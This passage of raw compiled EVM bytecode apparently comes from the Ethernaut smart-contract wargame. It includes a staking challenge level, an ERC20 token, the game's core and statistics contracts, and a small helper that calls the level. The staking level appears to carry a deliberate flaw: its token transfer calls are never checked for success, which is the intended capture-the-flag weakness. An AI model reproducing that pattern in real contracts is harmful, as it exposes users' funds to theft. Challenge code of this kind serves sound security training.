1030f61039c565b6001600160a01b0381166103905760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610399816103f5565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610387565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6107ec8061050d83390190565b6001600160a01b0381168114610399575f80fd5b5f6020828403121561048d575f80fd5b813561049881610469565b9392505050565b5f80604083850312156104b0575f80fd5b82356104bb81610469565b915060208301356104cb81610469565b809150509250929050565b5f602082840312156104e6575f80fd5b5051919050565b5f602082840312156104fd575f80fd5b81518015158114610498575f80fdfe60806040526040516107ec3803806107ec8339810160408190526100229161005c565b345f808282546100329190610089565b9091555050600380546001600160a01b0319166001600160a01b03929092169190911790556100ae565b5f6020828403121561006c575f80fd5b81516001600160a01b0381168114610082575f80fd5b9392505050565b808201808211156100a857634e487b7160e01b5f52601160045260245ffd5b92915050565b610731806100bb5f395ff3fe60806040526004361061006e575f3560e01c8063817b1cd21161004c578063817b1cd2146100e9578063ad5c4648146100fd578063ede85eb714610134578063f1f1db1e14610162575f80fd5b80636e35c7401461007257806378e7ed2f146100a65780637b233319146100b0575b5f80fd5b34801561007d575f80fd5b5061009161008c366004610632565b610181565b60405190151581526020015b60405180910390f35b6100ae610422565b005b3480156100bb575f80fd5b506100db6100ca366004610649565b60016020525f908152604090205481565b60405190815260200161009d565b3480156100f4575f80fd5b506100db5f5481565b348015610108575f80fd5b5060035461011c906001600160a01b031681565b6040516001600160a01b03909116815260200161009d565b34801561013f575f80fd5b5061009161014e366004610649565b60026020525f908152604090205460ff1681565b34801561016d575f80fd5b5061009161017c366004610632565b6104cb565b5f66038d7ea4c6800082116101dd5760405162461bcd60e51b815260206004820152600e60248201527f446f6e277420626520636865617000000000000000000000000000000000000060448201526064015b60405180910390fd5b600354604080513360248201523060448083019190915282518083039091018152606490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fdd62ed3e0000000000000000000000000000000000000000000000000000000017905290515f926001600160a01b03169161026491610676565b5f604051808303815f865af19150503d805f811461029d576040519150601f19603f3d011682016040523d82523d5f602084013e6102a2565b606091505b50915050826102b0826105b1565b10156102fe5760405162461bcd60e51b815260206004820181905260248201527f486f7720616d2049206d6f76696e67207468652066756e647320686f6e65793f60448201526064016101d4565b825f8082825461030e91906106cf565b9091555050335f90815260016020526040812080548592906103319084906106cf565b909155505060035460408051336024820152306044820152606480820187905282518083039091018152608490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd0000000000000000000000000000000000000000000000000000000017905290515f926001600160a01b0316916103c191610676565b5f604051808303815f865af19150503d805f81146103fa576040519150601f19603f3d011682016040523d82523d5f602084013e6103ff565b606091505b5050335f908152600260205260409020805460ff19166001179055949350505050565b66038d7ea4c6800034116104785760405162461bcd60e51b815260206004820152600e60248201527f446f6e277420626520636865617000000000000000000000000000000000000060448201526064016101d4565b345f8082825461048891906106cf565b9091555050335f90815260016020526040812080543492906104ab9084906106cf565b9091555050335f908152600260205260409020805460ff19166001179055565b335f908152600160205260408120548211156105295760405162461bcd60e51b815260206004820152600f60248201527f446f6e277420626520677265656479000000000000000000000000000000000060448201526064016101d4565b335f90815260016020526040812080548492906105479084906106e8565b92505081905550815f8082825461055e91906106e8565b90915550506040515f90339084908381818185875af1925050503d805f81146105a2576040519150601f19603f3d011682016040523d82523d5f602084013e6105a7565b606091505b5090949350505050565b5f60208251101561062a5760405162461bcd60e51b815260206004820152602560248201527f44617461206c656e677468206d757374206265206174206c656173742033322060448201527f627974657300000000000000000000000000000000000000000000000000000060648201526084016101d4565b506020015190565b5f60208284031215610642575f80fd5b5035919050565b5f60208284031215610659575f80fd5b81356001600160a01b038116811461066f575f80fd5b9392505050565b5f82515f5b81811015610695576020818601810151858301520161067b565b505f920191825250919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b808201808211156106e2576106e26106a2565b92915050565b818103818111156106e2576106e26106a256fea2646970667358221220c65c29ae014367df4445299bd1a81e485bac5be1083a3e141b3b6a0631dee96b64736f6c63430008170033a2646970667358221220876b7f99b0c949d06cde10dcf7350cf2b11bdd63a80ea60ba6e1686587d5c84b64736f6c63430008170033608060405234801562000010575f80fd5b5060405162000c3838038062000c3883398101604081905262000033916200011a565b60036200004183826200020a565b5060046200005082826200020a565b505050620002d6565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126200007d575f80fd5b81516001600160401b03808211156200009a576200009a62000059565b604051601f8301601f19908116603f01168101908282118183101715620000c557620000c562000059565b8160405283815260209250866020858801011115620000e2575f80fd5b5f91505b83821015620001055785820183015181830184015290820190620000e6565b5f602085830101528094505050505092915050565b5f80604083850312156200012c575f80fd5b82516001600160401b038082111562000143575f80fd5b62000151868387016200006d565b9350602085015191508082111562000167575f80fd5b5062000176858286016200006d565b9150509250929050565b600181811c908216806200019557607f821691505b602082108103620001b457634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200020557805f5260205f20601f840160051c81016020851015620001e15750805b601f840160051c820191505b8181101562000202575f8155600101620001ed565b50505b505050565b81516001600160401b0381111562000226576200022662000059565b6200023e8162000237845462000180565b84620001ba565b602080601f83116001811462000274575f84156200025c5750858301515b5f19600386901b1c1916600185901b178555620002ce565b5f85815260208120601f198616915b82811015620002a45788860151825594840194600190910190840162000283565b5085821015620002c257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b61095480620002e45f395ff3fe608060405234801561000f575f80fd5b50600436106100c4575f3560e01c8063395093511161007d578063a457c2d711610058578063a457c2d714610180578063a9059cbb14610193578063dd62ed3e146101a6575f80fd5b8063395093511461013d57806370a082311461015057806395d89b4114610178575f80fd5b806318160ddd116100ad57806318160ddd1461010957806323b872dd1461011b578063313ce5671461012e575f80fd5b806306fdde03146100c8578063095ea7b3146100e6575b5f80fd5b6100d06101de565b6040516100dd91906107ae565b60405180910390f35b6100f96100f4366004610815565b61026e565b60405190151581526020016100dd565b6002545b6040519081526020016100dd565b6100f961012936600461083d565b610287565b604051601281526020016100dd565b6100f961014b366004610815565b6102aa565b61010d61015e366004610876565b6001600160a01b03165f9081526020819052604090205490565b6100d06102e8565b6100f961018e366004610815565b6102f7565b6100f96101a1366004610815565b6103a5565b61010d6101b4366004610896565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600380546101ed906108c7565b80601f0160208091040260200160405190810160405280929190818152602001828054610219906108c7565b80156102645780601f1061023b57610100808354040283529160200191610264565b820191905f5260205f20905b81548152906001019060200180831161024757829003601f168201915b5050505050905090565b5f3361027b8185856103b2565b60019150505b92915050565b5f33610294858285610509565b61029f858585610599565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061027b90829086906102e39087906108ff565b6103b2565b6060600480546101ed906108c7565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103985760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61029f82868684036103b2565b5f3361027b818585610599565b6001600160a01b03831661042d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b0382166104a95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461059357818110156105865760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161038f565b61059384848484036103b2565b50505050565b6001600160a01b0383166106155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b0382166106915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f6573730000000000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b0383165f908152602081905260409020548181101561071f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e63650000000000000000000000000000000000000000000000000000606482015260840161038f565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107559084906108ff565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107a191815260200190565b60405180910390a3610593565b5f602080835283518060208501525f5b818110156107da578581018301518582016040015282016107be565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610810575f80fd5b919050565b5f8060408385031215610826575f80fd5b61082f836107fa565b946020939093013593505050565b5f805f6060848603121561084f575f80fd5b610858846107fa565b9250610866602085016107fa565b9150604084013590509250925092565b5f60208284031215610886575f80fd5b61088f826107fa565b9392505050565b5f80604083850312156108a7575f80fd5b6108b0836107fa565b91506108be602084016107fa565b90509250929050565b600181811c908216806108db57607f821691505b6020821081036108f957634e487b7160e01b5f52602260045260245ffd5b50919050565b8082018082111561028157634e487b7160e01b5f52601160045260245ffdfea26469706673582212207a4af11b318fef9e166e152b30c3ea9d2f9a2d7d60ca7c57862996f73673d31e64736f6c63430008170033608060405234801561000f575f80fd5b5060fc8061001c5f395ff3fe608060405260043610601b575f3560e01c8063d018db3e14601f575b5f80fd5b602e602a366004608e565b6030565b005b8073ffffffffffffffffffffffffffffffffffffffff166378e7ed2f346040518263ffffffff1660e01b81526004015f604051808303818588803b1580156075575f80fd5b505af11580156086573d5f803e3d5ffd5b505050505050565b5f60208284031215609d575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811460bf575f80fd5b939250505056fea2646970667358221220525455ac5f2f263ad4826a52c4a5173bb6ac4f95a8dfd228b3a1bf0ef808ec7e64736f6c63430008170033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f5443565c4ba10a4bf5f5394a082b6c9adcbf2618921aca0a87f7057fd36716264736f6c63430008170033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122061868b949afcaa75d3f5bdb2ddd8449d9dc99cfc3848c2d167231af918471b2c64736f6c63430008170033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d